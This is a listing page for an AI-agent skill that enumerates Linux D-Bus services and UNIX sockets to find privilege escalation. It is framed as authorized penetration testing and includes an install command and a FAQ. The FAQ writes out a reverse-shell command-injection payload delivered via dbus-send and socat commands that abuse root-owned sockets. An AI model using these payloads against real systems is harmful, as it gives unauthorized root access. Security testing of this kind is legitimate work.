skills.rest
xalgord
xalgordCOMMUNITY
Explore all skills by this author →
WebsiteGitHub

exploiting-dbus-and-socket-command-injection

Enumerate D-Bus system bus services and exploit root-owned methods and UNIX sockets for privilege escalation.

954|172|Updated Mar 13, 2026
Search Tags:#Linux#command-injection#penetration-testing#privilege-escalation#dbus#polkit#unix-sockets
One-click install
npx skills add https://github.com/xalgord/xalgorix --skill exploiting-dbus-and-socket-command-injection
Or copy as Structured Prompt for Agent▼
Please help me install this Agent Skill.
Skill: exploiting-dbus-and-socket-command-injection
Source: https://github.com/xalgord/xalgorix/tree/main/internal/tools/skills/data/linux-hardening/exploiting-dbus-and-socket-command-injection
Command: npx skills add https://github.com/xalgord/xalgorix --skill exploiting-dbus-and-socket-command-injection

SYSTEM DOCUMENTATION & REQUIREMENTS

What problem does it solve?

During authorized Linux privilege escalation, D-Bus services and UNIX socket daemons are invisible to port scans, so testers routinely miss root-exposed IPC interfaces that accept unprivileged calls or injectable input.

Core Features & Use Cases

  • D-Bus Enumeration and Introspection: Lists bus names with busctl, confirms UID=0 services, maps activatable services to their Exec= binaries, and introspects object paths and method signatures.
  • Authorization Review: Cross-checks D-Bus policy files, Polkit action definitions, and service activation configs to find three-layer authorization gaps.
  • Exploitation Workflows: Provides dbus-send, gdbus, and Python dbus payloads for command injection in root methods, plus socat-based abuse of world-writable root UNIX sockets.
  • Use Case: On an authorized engagement, a tester finds the root service htb.oouch.Block exposing an UNPRIVILEGED method that passes input to system(), sends a reverse-shell payload via dbus-send, and obtains a root shell.

Quick Start

Ask the AI to enumerate the D-Bus system bus with busctl, introspect any root-owned services, and check whether their methods are callable by an unprivileged user.

Frequently Asked Questions about exploiting-dbus-and-socket-command-injection

High-intent search queries and answers about installing and using this skill.

FAQPage Schema
How do I enumerate D-Bus services for privilege escalation?▼

Use busctl list to show all bus names with their PID and user, then busctl status <service> to confirm UID=0. Run busctl tree and busctl introspect on each service to list object paths, methods, and argument signatures.

How to exploit command injection in a D-Bus method?▼

If a root service method passes a string argument to system(), send a payload like ';bash -i >& /dev/tcp/IP/PORT 0>&1 #' using dbus-send --system --print-reply with the service name, object path, and interface method. A root reverse shell confirms the injection.

What is the difference between busctl, gdbus, and dbus-send?▼

busctl is the systemd tool for listing, status, tree, introspect, call, monitor, and capture operations. gdbus offers scriptable introspection and method calls, while dbus-send fires a single method call with typed arguments such as string: values.

Can activatable D-Bus services be used for privilege escalation?▼

Yes. Names marked (activatable) in busctl list start a binary on demand. Check /usr/share/dbus-1/system-services for the service file and grep its Exec= and User= lines; a writable script executed as root is an escalation path.

How do I find root-owned UNIX sockets that execute input?▼

Run netstat -a -p --unix or ss -xlp to list listening UNIX sockets and their owners. Test a root-owned socket with echo 'id' | socat - UNIX-CLIENT:/path; if the daemon executes received data, the command runs as root.

Why does D-Bus introspection not show whether a method is allowed?▼

Introspection only reveals what methods exist, not why they are permitted. Authorization spans three layers: D-Bus policy in /etc/dbus-1/system.d, Polkit actions in /usr/share/polkit-1/actions, and the service activation file, all of which must be cross-checked.

Related Skills

Explore More Software Engineering Skills→
blacklanternsecurityblacklanternsecurity
253

linux-cron-service-abuse

Exploit Linux cron jobs, systemd services, D-Bus, and Unix sockets for privilege escalation.

Official
Advanced
zangxin75zangxin75

security-reviewer

Conduct security audits and code vulnerability reviews with SAST scans.

Community
Advanced
blacklanternsecurityblacklanternsecurity
253

linux-discovery

Enumerates Linux systems for local privilege escalation vectors.

Official
Advanced
brucesongsbrucesongs
60

privilege-escalation

Identify and exploit privilege escalation vectors on Linux and Windows.

Community
Advanced